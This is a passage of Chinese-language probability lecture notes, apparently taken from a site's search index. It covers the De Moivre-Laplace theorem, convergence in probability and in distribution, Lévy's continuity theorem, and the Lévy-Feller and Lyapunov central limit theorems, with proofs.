\\(S_n \\sim B(n, p)\\)\uff0c\u90a3\u4e48</p> \\[  P\\left( \\frac{S_n - np}{\\sqrt{np(1-p)}} \\leqslant x \\right) \\approx \\int_{-\\infty}^{x} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{t^2}{2}} \\, dt  \\] <ul> <li> <p>\u5de6\u8fb9\uff1a\u89c4\u8303\u5316 \\(\\frac{S_n - np}{\\sqrt{np(1-p)}}\\) \u968f\u673a\u53d8\u91cf\u7684\u5206\u5e03\u51fd\u6570</p> </li> <li> <p>\u53f3\u8fb9\uff1a\u6b63\u6001\u5206\u5e03\u51fd\u6570</p> </li> </ul> \\[ \\Phi(x) = \\int_{-\\infty}^{x} \\frac{1}{\\sqrt{2\\pi}} e^{-\\frac{t^2}{2}} \\, dt \\] <ul> <li></li> </ul> \\[ P(a \\leqslant S_n \\leqslant b) = P\\left( \\frac{a - np}{\\sqrt{np(1-p)}} \\leqslant \\frac{S_n - np}{\\sqrt{np(1-p)}} \\leqslant \\frac{b - np}{\\sqrt{np(1-p)}} \\right)  \\approx \\Phi\\left( \\frac{b - np}{\\sqrt{np(1-p)}} \\right) - \\Phi\\left( \\frac{a - np}{\\sqrt{np(1-p)}} \\right) \\] <p>\u5229\u7528De Moivre-Laplace\u5b9a\u7406\u8bc1\u660e</p> <p>\u5728\u4f2f\u52aa\u5229\u8bd5\u9a8c\u4e2d\uff0c\u82e5\\(p \\in (0, 1)\\)\uff0c\u5219\u4e0d\u7ba1\\(A\\)\u662f\u591a\u5927\u7684\u5e38\u6570\uff0c\u603b\u6709</p> \\[     P(\\lvert \\mu_n - np \\rvert &lt; A) \\to 0, \\quad n \\to \\infty \\] <p>\u5c06\u5176\u5316\u4e3a\u6807\u51c6\u5f62\u5f0f\uff0c\u5219</p> \\[     P(\\lvert \\dfrac{\\mu_n - np}{\\sqrt{np(1-p)}} \\rvert &lt; \\frac{A}{\\sqrt{np(1-p)}})\\to 0, \\quad n \\to \\infty \\] <p>\u7531De Moivre-Laplace\u5b9a\u7406\uff0c\u53f3\u8fb9\u662f\u8d8b\u5411\u4e8e0,\u6240\u4ee5\u539f\u6982\u7387\u76f8\u5f53\u4e8e</p> \\[     P(|X|  &lt;  0)  = 2  \\Phi(0) - 1 = 0 \\] <p>\u5176\u4e2d \\(X\\) \u662f\u6807\u51c6\u6b63\u6001\u5206\u5e03</p> <p>\u4f46\u662f\uff0c\u8fd9\u4e00\u7ed3\u679c\u662f\u5426\u4e0e\u5927\u6570\u5b9a\u5f8b\u76f8\u77db\u76fe\u5462\uff0c\u76f4\u89c2\u4e0a\u7406\u89e3\u6709\u4e9b\u56f0\u96be\uff0c\u4f46\u662f\uff0c\u6211\u4eec\u5c06\u5176\u5316\u4e3a\u5927\u6570\u5b9a\u5f8b\u7684\u5f62\u5f0f\u6765\u770b\u7684\u8bdd\uff0c\u5c31\u6709</p> \\[     P(\\lvert \\dfrac{\\mu_n}{n} - p \\rvert &lt; \\dfrac{A}{n}) \\to 0, \\quad n \\to \\infty \\] <p>\u4f46\u662f\u5927\u6570\u5b9a\u5f8b\u7684\u7ed3\u8bba\u662f,\u5bf9\u4e8e\u4efb\u610f\u7ed9\u5b9a\u7684\\(\\epsilon &gt; 0\\),\u603b\u6709</p> \\[     P(\\lvert \\dfrac{\\mu_n}{n} - p \\rvert &gt; \\epsilon) \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48\u7ed3\u679c\u5c31\u5f88\u660e\u4e86\u4e86\uff0c\u5927\u6570\u5b9a\u5f8b\u9700\u8981\\(\\epsilon\\)\u7ed9\u5b9a,\u4f46\u662f\u8fd9\u91cc\u7684\\(\\dfrac{A}{n}\\)\u662f\u4e0e\\(n\\)\u6709\u5173\u4e00\u76f4\u53d8\u5316\u7684\uff0c\u5e76\u4e0d\u6ee1\u8db3\u5927\u6570\u5b9a\u5f8b\u7684\u6761\u4ef6\uff0c\u6240\u4ee5\uff0c\u5927\u6570\u5b9a\u5f8b\u4e0e\u8fd9\u4e2a\u7ed3\u8bba\u5e76\u4e0d\u77db\u76fe\uff0c\u5173\u952e\u5c31\u5728\u4e8e\\(A\\)\u662f\u7ed9\u5b9a\u7684\u5e38\u6570\u5bfc\u81f4\u5b83\u9664\u4ee5\\(n\\)\u540e\uff0c\\(\\epsilon\\)\u662f\u53d8\u5316\u7684\u3002</p>"},{"location":"NOTE/Probability/Fourth/#_3","title":"\u4f9d\u6982\u7387\u6536\u655b","text":"<p>\\((\\Omega, \\mathcal{S}, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5982\u679c\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\),</p> \\[ P(\\omega : |X_n(\\omega) - X(\\omega)| &gt; \\epsilon) \\to 0, \\quad n \\to \\infty \\] <p>\u79f0 \\(X_n\\) \u4f9d\u6982\u7387\u6536\u655b\u5230 \\(X\\)\uff0c\u8bb0\u505a \\(X_n \\xrightarrow{P} X\\)\u3002</p> <p>\u6309\u6b64\u6982\u5ff5\uff0cBernoulli \u5927\u6570\u5f8b\u53ef\u5199\u6210</p> \\[ \\frac{S_n}{n} \\xrightarrow{P} p \\] <p>\u4f9d\u6982\u7387\u6536\u655b\u7684\u6027\u8d28</p> \u6781\u9650\u552f\u4e00\u6027\u4f9d\u6982\u7387\u6536\u655b\u7684\u5224\u522b\u6cd5\u5219\u8fd0\u7b97\u6027\u8d28\u8fde\u7eed\u6620\u5c04\u4fdd\u4f9d\u6982\u7387\u6536\u655b <p>\u5982\u679c \\(X_n \\xrightarrow{P} X\\) \u4e14 \\(X_n \\xrightarrow{P} Y\\)\uff0c\u90a3\u4e48 </p> \\[     P(X=Y) = 1 \\] \u8bc1\u660e \\[ \\text{\u8bc1\u660e: \u53ea\u9700\u8bc1\u660e } P(X \\neq Y) = 0. \\text{ \u6ce8\u610f\u5230,} \\] \\[ P(X \\neq Y) = P(|X - Y| &gt; 0) = P(\\cup_{m=1}^{\\infty}\\{ |X - Y| &gt; \\frac{1}{m} \\}) \\] <p>\u56e0\u6b64, \u9700\u8981\u8bc1\u660e\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\),</p> \\[ P(|X - Y| &gt; \\epsilon) = 0 \\] <p>\u7ed9\u5b9a \\(\\epsilon &gt; 0\\), \u5bf9\u4efb\u610f \\(n \\geqslant 1\\)</p> \\[ P(|X - Y| &gt; \\epsilon) = P(|(X_n - X) - (X_n - Y)| &gt; \\epsilon) \\] \\[ \\leqslant P(|X_n - X| + |X_n - Y| &gt; \\epsilon) \\] <p>\u8fd9\u91cc\u8fd0\u7528\u4e86\u4e09\u89d2\u4e0d\u7b49\u5f0f\uff0c\u5c0f\u7684\u53d1\u751f\uff0c\u5927\u7684\u4e00\u5b9a\u4e5f\u53d1\u751f\uff1b</p> \\[ \\leqslant P(|X_n - X| &gt; \\frac{\\epsilon}{2}) + P(|X_n - Y| &gt; \\frac{\\epsilon}{2}) \\] <p>\u8fd9\u91cc\u662f\u56e0\u4e3a</p> \\[     \\{a+b&gt;c\\} \\subset \\{a&gt;\\frac{c}{2}\\} \\cup \\{b&gt;\\frac{c}{2}\\} \\] <p>\u4ee4 \\(n \\to \\infty\\),</p> \\[ P(|X_n - X| &gt; \\frac{\\epsilon}{2}) \\to 0, \\quad P(|X_n - Y| &gt; \\frac{\\epsilon}{2}) \\to 0 \\] <p>\u56e0\u6b64</p> \\[ P(|X - Y| &gt; \\epsilon) = 0 \\] \\[ \\text{\u56e0\u6b64, } P(X = Y) = 1 \\] <p>\u5982\u679c\u5b58\u5728\u67d0 \\(r &gt; 0\\), \u6210\u7acb</p> \\[ E|X_n - X|^r \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48</p> \\[ X_n \\xrightarrow{P} X \\] <p>\u5982\u679c \\(X_n \\xrightarrow{P} X, Y_n \\xrightarrow{P} Y\\), \u90a3\u4e48</p> <p>(i) \\(X_n \\pm Y_n \\xrightarrow{P} X \\pm Y\\)</p> <p>(ii) \\(X_n \\cdot Y_n \\xrightarrow{P} X \\cdot Y\\)</p> <p>(iii) \u5982\u679c \\(P(Y \\neq 0) = 1\\), \u90a3\u4e48 \\(\\frac{X_n}{Y_n} \\xrightarrow{P} \\frac{X}{Y}\\)</p> <p>\u5047\u8bbe \\(f: \\mathbb{R} \\mapsto \\mathbb{R}\\) \u662f\u8fde\u7eed\u6620\u5c04\uff0c\u5982\u679c \\(X_n \\xrightarrow{P} X\\)\uff0c\u90a3\u4e48</p> \\[ f(X_n) \\xrightarrow{P} f(X) \\] \u8bc1\u660e <p>\u8bbe \\(\\epsilon' &gt; 0\\)\uff0c\u5b58\u5728 \\(M &gt; 0\\)\uff0c\u4f7f\u5f97</p> \\[ P(|\\xi| \\geqslant M) \\leqslant  P(|\\xi| \\geqslant \\frac{M}{2})  \\leqslant \\frac{\\epsilon'}{4} \\] <p>\u7531\u4e8e \\(\\xi_n \\xrightarrow{P} \\xi\\)\uff0c\u6545\u5b58\u5728 \\(N_1 \\geqslant 1\\)\uff0c\u5f53 \\(n \\geqslant N_1\\) \u65f6\uff0c\\(P(|\\xi_n - \\xi| \\geqslant \\frac{M}{2}) \\leqslant \\frac{\\epsilon'}{4}\\)\u3002\u56e0\u6b64</p> \\[ P(|\\xi_n| \\geqslant M) \\leqslant P(|\\xi_n - \\xi| \\geqslant \\frac{M}{2}) + P(|\\xi| \\geqslant \\frac{M}{2}) \\leqslant \\frac{\\epsilon'}{2} \\] <p>\u53c8\u56e0 \\(f(x)\\) \u5728 \\((-\\infty, \\infty)\\) \u4e0a\u8fde\u7eed\uff0c\u4ece\u800c\u5728 \\([-M, M]\\) \u4e0a\u4e00\u81f4\u8fde\u7eed\u3002\u5bf9\u7ed9\u5b9a\u7684 \\(\\epsilon &gt; 0\\)\uff0c\u5b58\u5728 \\(\\delta &gt; 0\\)\uff0c\u5f53 \\(|x - y| &lt; \\delta\\) \u65f6\uff0c\\(|f(x) - f(y)| &lt; \\epsilon\\)\u3002\u8fd9\u6837</p> \\[ P(|f(\\xi_n) - f(\\xi)| \\geqslant \\epsilon) \\leqslant P(|\\xi_n - \\xi| \\geqslant \\delta) + P(|\\xi_n| \\geqslant M) + P(|\\xi| \\geqslant M) \\] <p>\u5bf9\u4e0a\u8ff0\u7684 \\(\\delta\\)\uff0c\u5b58\u5728 \\(N_2 \\geqslant 1\\)\uff0c\u5f53 \\(n \\geqslant N_2\\) \u65f6\uff0c</p> \\[ P(|\\xi_n - \\xi| \\geqslant \\delta) \\leqslant \\frac{\\epsilon'}{4} \\] <p>\u5f53 \\(n \\geqslant \\max(N_1, N_2)\\) \u65f6\uff0c</p> \\[ P(|f(\\xi_n) - f(\\xi)| \\geqslant \\epsilon) \\leqslant \\frac{\\epsilon'}{4} + \\frac{\\epsilon'}{2} + \\frac{\\epsilon'}{4} = \\epsilon' \\]"},{"location":"NOTE/Probability/Fourth/#_4","title":"\u4f9d\u5206\u5e03\u6536\u655b","text":"<p>\u5047\u8bbe \\((\\Omega, \\Sigma, P)\\) \u662f\u6982\u7387\u7a7a\u95f4\uff0c\\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\\(F, F_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u76f8\u5e94\u7684\u5206\u5e03\u51fd\u6570\uff0c\u5982\u679c\u5bf9\u4e8e \\(F\\) \u7684\u4efb\u610f\u8fde\u7eed\u70b9 \\(x\\),</p> \\[ F_n(x) \\to F(x), \\quad n \\to \\infty \\] <p>\u79f0 \\(F_n\\) \u4f9d\u5206\u5e03\u6536\u655b\u4e8e \\(F\\)\uff0c\u8bb0 \\(F_n \\xrightarrow{d} F\\) \u6216\u8005 \\(X_n \\xrightarrow{d} X\\)\u3002</p> <p>\u6309\u6b64\u6982\u5ff5\uff0c\u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u53ef\u5199\u6210</p> \\[ \\frac{S_n - np}{\\sqrt{np(1-p)}} \\xrightarrow{d} N(0, 1) \\] <p>Tip</p> <ul> <li> <p>\u5982\u679c \\( F \\) \u662f\u5728 \\(\\mathbb{R}\\) \u4e0a\u8fde\u7eed, \u90a3\u4e48 \\( F_n \\) \u5904\u5904\u6536\u655b\u5230 \\( F \\)</p> </li> <li> <p>\u4e00\u822c\u5730,\\( F \\)\u4e0d\u662f\u8fde\u7eed\u51fd\u6570(\u5de6\u6781\u9650\u5b58\u5728\uff0c\u53f3\u8fde\u7eed\u7684\u51fd\u6570)</p> </li> <li> <p>\u65e2\u7136 \\(F\\) \u662f\u5355\u8c03\u6709\u754c\u51fd\u6570\uff0c\\(F\\) \u7684\u4e0d\u8fde\u7eed\u70b9\u96c6\u6700\u591a\u53ef\u6570\u4e2a\uff1a</p> </li> </ul> \\[   D_F = \\{x : F(x) - F(x-) &gt; 0\\} = \\bigcup_{n=1}^{\\infty} \\left\\{x : F(x) - F(x-) \\geqslant \\frac{1}{n}\\right\\} \\] <ul> <li>\\(F\\) \u7684\u8fde\u7eed\u6027\u70b9\u96c6\u5728 \\(\\mathbb{R}\\) \u4e0a\u7a20\u5bc6\u3002</li> </ul> <p>\u4f9d\u6982\u7387\u6536\u655b\u4e0e\u4f9d\u5206\u5e03\u6536\u655b\u7684\u5173\u7cfb</p> \u4f9d\u6982\u7387\u6536\u655b\u610f\u5473\u7740\u4f9d\u5206\u5e03\u6536\u655b\u4f9d\u5206\u5e03\u6536\u655b\u5e76\u4e0d\u610f\u5473\u7740\u4f9d\u6982\u7387\u6536\u655b\u4f9d\u5206\u5e03\u6536\u655b\u7684\u5224\u522b\u6cd5\u5219 <p>\u8bc1\u660e\u7684\u5173\u952e\u5728\u4e8e\u6784\u9020\u5939\u903c\u9879;</p> <p>\u5982\u679c \\( \\xi_n \\xrightarrow{P} \\xi \\)\uff0c\u90a3\u4e48 \\( \\xi_n \\xrightarrow{d} \\xi \\)</p> <p>\u5047\u8bbe \\(F\\) \u548c \\(F_n\\) \u5206\u522b\u662f \\(\\xi\\) \u548c \\(\\xi_n\\) \u7684\u5206\u5e03\u51fd\u6570\uff0c\u90a3\u4e48\u5bf9\u4efb\u610f\u7ed9\u5b9a \\(\\epsilon &gt; 0\\)\uff0c\u6709</p> \\[     (\\xi \\leqslant x - \\epsilon) = (\\xi \\leqslant x - \\epsilon, \\xi_n \\leqslant x) \\cup (\\xi \\leqslant x - \\epsilon, \\xi_n &gt; x) \\subset (\\xi_n \\leqslant x) \\cup (\\xi_n - \\xi &gt; \\epsilon) \\] <p>\u56e0\u6b64</p> \\[     F(x - \\epsilon) \\leqslant F_n(x) + P(\\xi_n - \\xi &gt; \\epsilon) \\] <p>\u4ee4 \\(n \\to \\infty\\)\uff0c\u7531\u4e8e \\(P(\\xi_n - \\xi &gt; \\epsilon) \\to 0\\)\uff0c\u6240\u4ee5</p> \\[     F(x - \\epsilon) \\leqslant \\inf_{n \\to \\infty} F_n(x)  \\] <p>\u540c\u7406</p> \\[     (\\xi_n \\leqslant x) \\subset (\\xi \\leqslant x + \\epsilon) \\cup (\\xi - \\xi_n &lt; -\\epsilon) \\] <p>\u4ece\u800c</p> \\[     F(x + \\epsilon) \\geqslant \\sup_{n \\to \\infty} F_n(x) \\] <p>\u56e0\u6b64</p> \\[     \\lim_{n \\to \\infty} F_n(x) = F(x) \\] <p>\u4f46\u662f\u5982\u679c \\(X_n \\xrightarrow{d} C\\)\uff0c\u90a3\u4e48 \\(X_n \\xrightarrow{P} C\\)</p> <p>\u5176\u4e2d \\(C\\) \u662f\u5e38\u6570</p> <p>\u5982\u679c \\(\\xi_n \\xrightarrow{d} c\\)\uff0c\u5219</p> \\[ \\lim_{n \\to \\infty} F_n(x) =  \\begin{cases}  0, &amp; x &lt; c, \\\\ 1, &amp; x \\geqslant c. \\end{cases} \\] <p>\u56e0\u6b64\u5bf9\u4efb\u610f \\(\\epsilon &gt; 0\\)\uff0c\u6709</p> \\[ P(|\\xi_n - c| \\geqslant \\epsilon) = P(\\xi_n \\geqslant c + \\epsilon) + P(\\xi_n \\leqslant c - \\epsilon) \\] \\[ = 1 - P(\\xi_n &lt; c + \\epsilon) + P(\\xi_n \\leqslant c - \\epsilon) \\] \\[ = 1 - F_n(c + \\epsilon - 0) + F_n(c - \\epsilon) \\to 0. \\] <p>\u5b9a\u7406\u8bc1\u6bd5\u3002</p> <ul> <li> <p>Levy \u8fde\u7eed\u6027\u5b9a\u7406:</p> <p>\u5047\u8bbe \\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5177\u6709\u7279\u5f81\u51fd\u6570 \\(\\phi, \\phi_n, n \\geqslant 1\\)\u3002\u90a3\u4e48</p> \\[   X_n \\xrightarrow{d} X \\iff \\phi_n(t) \\to \\phi(t), \\quad t \\in \\mathbb{R} \\] </li> <li> <p>Levy \u8fde\u7eed\u6027\u5b9a\u7406\u7684\u53e6\u4e00\u79cd\u5f62\u5f0f:</p> <p>\u5047\u8bbe \\(X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5177\u6709\u7279\u5f81\u51fd\u6570 \\(\\phi_n, n \\geqslant 1\\)\u3002\u5982\u679c</p> \\[   \\phi_n(t) \\to \\phi(t), \\quad t \\in \\mathbb{R} \\] <p>\u5e76\u4e14 \\(\\phi\\) \u5728 0 \u5904\u8fde\u7eed\uff0c\u90a3\u4e48 \\(\\phi\\) \u4e00\u5b9a\u662f\u7279\u5f81\u51fd\u6570\u3002\u8bb0\u4e0e \\(\\phi\\) \u76f8\u5e94\u7684\u968f\u673a\u53d8\u91cf\u4e3a \\(X\\)\uff0c\u90a3\u4e48</p> \\[   X_n \\xrightarrow{d} X \\] </li> </ul> <p>\u8fd0\u7528Levy\u5b9a\u7406\uff0c\u5982\u679c\u8981\u8bc1\u660e\u4e00\u5217\u968f\u673a\u53d8\u91cf\u4f9d\u5206\u5e03\u6536\u655b\u4e8e\u67d0\u4e2a\u968f\u673a\u53d8\u91cf\uff0c\u53ea\u9700\u8981\u8bc1\u660e\u8fd9\u5217\u968f\u673a\u53d8\u91cf\u7684\u7279\u5f81\u51fd\u6570\u6536\u655b\u4e8e\u8be5\u968f\u673a\u53d8\u91cf\u7684\u7279\u5f81\u51fd\u6570\u3002</p> <p>\u5e94\u7528</p> \u8f9b\u94a6\u5927\u6570\u5f8b\u8bc1\u660eLevy-Feller\u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u8bc1\u660e <p>\u56de\u5fc6 \\(\\xi_k, k \\geqslant 1\\) \u72ec\u7acb\u540c\u5206\u5e03\uff0c\\(E\\xi_k = \\mu\\)\uff0c\u90a3\u4e48</p> \\[ \\frac{1}{n} \\sum_{k=1}^{n} \\xi_k \\xrightarrow{p} \\mu \\] <p>\u8bc1\u660e\uff1a\u53ea\u9700\u8bc1\u660e</p> \\[ X_n = \\frac{1}{n} \\sum_{k=1}^{n} \\xi_k \\xrightarrow{d} \\mu \\] \\[ \\iff \\quad \\phi_n(t) = E e^{itX_n} \\to e^{it\\mu} \\] <p>\u5728 0 \u5904\u8fdb\u884c Taylor \u5c55\u5f00\uff0c</p> \\[ E e^{it\\xi_k} = 1 + it\\mu + o\\left(\\frac{1}{n}\\right), \\quad n \\to \\infty \\] <p>\u6240\u4ee5\uff0c\u5bf9\u6bcf\u4e2a \\(t \\in \\mathbb{R}\\),</p> \\[ \\phi_n(t) = \\left(1 + \\frac{it\\mu}{n} + o\\left(\\frac{1}{n}\\right)\\right)^n \\to e^{it\\mu} \\] <p>\u56de\u5fc6 \\(\\xi_k, k \\geqslant 1\\) \u72ec\u7acb\u540c\u5206\u5e03\uff0c\\(E\\xi_k = \\mu, \\operatorname{Var}(\\xi_k) = \\sigma^2\\)\uff0c\u90a3\u4e48</p> \\[ X_n = \\frac{1}{\\sigma \\sqrt{n}} \\sum_{k=1}^{n} (\\xi_k - \\mu) \\xrightarrow{d} N(0, 1) \\] <p>\u8bc1\u660e\uff1a\u53ea\u9700\u8bc1\u660e</p> \\[ \\phi_n(t) = E e^{itX_n} \\to e^{-\\frac{t^2}{2}} \\] <p>\u6ce8\u610f\u5230</p> \\[ E e^{itX_n} = \\left[E e^{i\\frac{t(\\xi_k - \\mu)}{\\sigma \\sqrt{n}}}\\right]^n \\] <p>\u5728 0 \u5904\u8fdb\u884c Taylor \u5c55\u5f00\uff0c</p> \\[ E e^{i\\frac{t(\\xi_k - \\mu)}{\\sigma \\sqrt{n}}} = 1 - \\frac{t^2}{2n} + o\\left(\\frac{1}{n}\\right) \\] <p>\u6240\u4ee5\uff0c\u5bf9\u4efb\u610f \\(t\\),</p> \\[ E e^{itX_n} = \\left[1 - \\frac{t^2}{2n} + o\\left(\\frac{1}{n}\\right)\\right]^n \\to e^{-\\frac{t^2}{2}} \\] <p>\u4f9d\u5206\u5e03\u6536\u655b\u7684\u6027\u8d28</p> <ul> <li> <ul> <li>\u5982\u679c \\(X_n \\xrightarrow{d} X\\)\uff0c\\(a_n,b_n \\rightarrow a,b\\)\uff0c\u90a3\u4e48 \\(a_nX_n + b_n \\xrightarrow{d} aX + b\\)</li> </ul> <p>\u7ebf\u6027\u6027:</p> <ul> <li>\u5982\u679c \\(X_n \\xrightarrow{d} X\\)\uff0c\\(Y_n \\xrightarrow{P} Y\\)\uff0c\u90a3\u4e48 \\(X_n Y_n \\xrightarrow{d} X Y\\)</li> </ul> </li> <li> <p>\u8fde\u7eed\u6620\u5c04\u4fdd\u4f9d\u5206\u5e03\u6536\u655b:</p> <ul> <li>\u5982\u679c \\(X_n \\xrightarrow{d} X\\)\uff0c\u4e14 \\(f: \\mathbb{R} \\mapsto \\mathbb{R}\\) \u662f\u8fde\u7eed\u6620\u5c04\uff0c\u90a3\u4e48 \\(f(X_n) \\xrightarrow{d} f(X)\\)</li> </ul> </li> </ul> <p>Helly\u5f15\u7406</p> <p>\u5047\u8bbe \\(F, F_n, n \\geq 1\\) \u662f\u4e00\u5217\u5206\u5e03\u51fd\u6570\uff0c\u5e76\u4e14 \\(F_n \\xrightarrow{d} F\\)\uff0c\u90a3\u4e48\u5bf9\u4efb\u610f\u6709\u754c\u8fde\u7eed\u51fd\u6570 \\(g\\)</p> \\[ \\int g(x) dF_n(x) \\to \\int g(x) dF(x) \\] <p>\u8fd9\u6837\uff0c\u5bf9\u4efb\u610f \\(t \\in \\mathbb{R}\\),</p> \\[ E e^{itf(X_n)} = \\int e^{itf(x)} dF_n(x) \\] \\[ \\to \\int e^{itf(x)} dF(x) \\] \\[ = E e^{itf(X)} \\] <p>\u7ed3\u8bba\u6210\u7acb</p> \u7ebf\u6027\u6027\u7684\u624b\u5199\u8bc1\u660e <p> \u67e5\u770b</p> <p>\u5fc3\u5f97</p> <p>\u5728\u8bc1\u660e\u8fd9\u4e9b\u6027\u8d28\u65f6\u5e38\u7528\u7684\u653e\u7f29\u6709</p> <ul> <li> <p>\\(P( a &lt; A) \\leqslant P( b &lt; A ) (b&lt;a)\\) \u5927\u7684\u53d1\u751f(\u5c0f\u4e8eA)\uff0c\u5c0f\u7684\u4e00\u5b9a\u4e5f\u53d1\u751f</p> </li> <li> <p>\\(P(a &gt; A) \\leqslant P(b &gt; A) (b &gt; a)\\) \u5c0f\u7684\u53d1\u751f(\u5927\u4e8eA)\uff0c\u5927\u7684\u4e00\u5b9a\u4e5f\u53d1\u751f</p> </li> <li> <p>\\(P(A_n) \\leqslant P(A_n,B_n)+P(A_n,B_n^c)\\),\u81f3\u5c11\u6709\u4e00\u4e2a\u53d1\u751f</p> </li> <li> <p>\\(P(A_n) \\geqslant P(A_n,B_n)\\) \u6761\u4ef6\u52a0\u5f3a\uff0c\u6982\u7387\u53d8\u5c0f,\u53cd\u8fc7\u6765\u4f7f\u7528\u5c31\u662f\u6761\u4ef6\u51cf\u5f31\uff0c\u6982\u7387\u53d8\u5927</p> </li> </ul>"},{"location":"NOTE/Probability/Fourth/#levy-feller","title":"Levy-Feller \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406","text":"<ul> <li>Levy-Feller \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406</li> </ul> <p>\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u540c\u5206\u5e03\u968f\u673a\u53d8\u91cf\uff0c\\(E\\xi_k = \\mu, \\operatorname{Var}(\\xi_k) = \\sigma^2\\)\u3002\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\u90a3\u4e48\u5bf9\u4efb\u610f \\(x\\),</p> \\[ P\\left( \\frac{S_n - n\\mu}{\\sigma \\sqrt{n}} \\leqslant x \\right) \\to \\Phi(x) \\] <p>\u5373</p> \\[ \\frac{S_n - n\\mu}{\\sigma \\sqrt{n}} \\xrightarrow{d} N(0, 1) \\] <p>Levy-Feller \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u7684\u610f\u4e49</p> <ul> <li> <p>\u5e94\u7528\u4e8e\u4e00\u822c\u968f\u673a\u53d8\u91cf\uff0c\u63a8\u5e7f\u4e86 de Moivre-Laplace \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u3002</p> </li> <li> <p>\u8bf4\u660e\u6d4b\u91cf\u8bef\u5dee\u53ef\u7528\u6b63\u6001\u5206\u5e03\u63cf\u8ff0\uff0c\u5373\u6b63\u6001\u5206\u5e03\u65e0\u5904\u4e0d\u5728\u3002</p> </li> </ul> <p>\u5047\u8bbe\u6d4b\u91cf\u503c\u4e3a \\(X_i\\)\uff0c\u771f\u503c\u4e3a \\(\\mu\\)\u3002\u6bcf\u6b21\u8bef\u5dee\u4e3a \\(X_i - \\mu\\)\uff0c\\(n\\) \u6b21\u89c2\u6d4b\u6240\u5f97\u8bef\u5dee\u53e0\u52a0\uff0c\u8bb0\u4e3a \\(\\sum_{i=1}^{n}(X_i - \\mu)\\)\u3002\u90a3\u4e48</p> \\[ \\sum_{i=1}^{n}(X_i - \\mu) \\sim N(0, n\\sigma^2), \\quad n \\gg 1 \\]"},{"location":"NOTE/Probability/Fourth/#lyapunov","title":"Lyapunov \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406","text":"<p>\u5047\u8bbe \\(\\xi_k, k \\geqslant 1\\) \u662f\u4e00\u5217\u72ec\u7acb\u968f\u673a\u53d8\u91cf\u4e0d\u4e00\u5b9a\u540c\u5206\u5e03\uff0c\\(E\\xi_k = \\mu_k\\)\uff0c\\(\\operatorname{Var}(\\xi_k) = \\sigma_k^2\\)\u3002\u8bb0 \\(S_n = \\sum_{k=1}^{n} \\xi_k\\)\uff0c\\(B_n = \\sum_{k=1}^{n} \\sigma_k^2\\)\u3002\u5982\u679c</p> <ol> <li>\\(B_n \\to \\infty\\)</li> <li>\\(E|\\xi_k|^3 &lt; \\infty\\)\uff0c\u4e14</li> </ol> \\[ \\frac{1}{B_n^{3/2}} \\sum_{k=1}^{n} E|\\xi_k - \\mu_k|^3 \\to 0, \\quad n \\to \\infty \\] <p>\u90a3\u4e48\u5bf9\u4efb\u610f \\(x\\)</p> \\[ P\\left(\\frac{\\sum_{k=1}^{n} (\\xi_k - \\mu_k)}{\\sqrt{B_n}} \\leqslant x\\right) \\to \\Phi(x) \\] <p>\u5373</p> \\[ \\frac{\\sum_{k=1}^{n} (\\xi_k - \\mu_k)}{\\sqrt{B_n}} \\xrightarrow{d} N(0, 1) \\] <p>Lyapunov \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u7684\u610f\u4e49</p> <ul> <li> <p>\u63a8\u5e7f\u4e86 Levy-Feller \u4e2d\u5fc3\u6781\u9650\u5b9a\u7406\u3002</p> </li> <li> <p>\u89e3\u51b3\u4e86\u4e0d\u540c\u5206\u5e03\u7684\u968f\u673a\u53d8\u91cf\u548c\u7684\u4e2d\u5fc3\u6781\u9650\u95ee\u9898\u3002</p> </li> <li> <p>Lyapunov  \u6761\u4ef6\u53ef\u4ee5\u63a8\u51fa Lindeberg \u6761\u4ef6</p> </li> </ul> <p>Lindeberg \u6761\u4ef6</p> <p>\u5047\u8bbe \\(\\{\\xi_n\\}\\) \u662f\u72ec\u7acb\u968f\u673a\u53d8\u91cf\u5e8f\u5217\uff0c\\(F_k\\) \u4e3a\u5bf9\u5e94\u5206\u5e03\u51fd\u6570\uff0c\u4e14\u6bcf\u4e2a\u53d8\u91cf\u6709\u6709\u9650\u671f\u671b\u548c\u65b9\u5dee \\(a_k, \\sigma_k^2\\)\u3002</p> <p>\u8bb0 \\(B_n^2 = \\sum_{k=1}^{n} \\sigma_k^2\\)\u3002</p> <p>Lindeberg \u6761\u4ef6\u4e3a\uff1a</p> \\[ \\lim_{n \\to \\infty} \\frac{1}{B_n^2} \\sum_{k=1}^{n} \\int_{|x-a_k| \\geq \\epsilon B_n} (x-a_k)^2 dF_k(x) = 0 \\]"},{"location":"NOTE/Probability/Fourth/#_5","title":"\u51e0\u4e4e\u5904\u5904\u6536\u655b","text":"<p>\u51e0\u4e4e\u5904\u5904\u6536\u655b</p> <ul> <li>\u5904\u5904\u6536\u655b: \u5047\u8bbe \\((\\Omega, \\mathcal{A}, P)\\) \u662f\u4e00\u4e2a\u6982\u7387\u7a7a\u95f4\uff0c\\(X, X_n, n \\geqslant 1\\) \u662f\u4e00\u5217\u968f\u673a\u53d8\u91cf\uff0c\u5982\u679c\u5bf9\u6bcf\u4e2a \\(\\omega \\in \\Omega\\),</li> </ul> \\[   X_n(\\omega) \\to X(\\omega), \\quad n \\to \\infty \\] 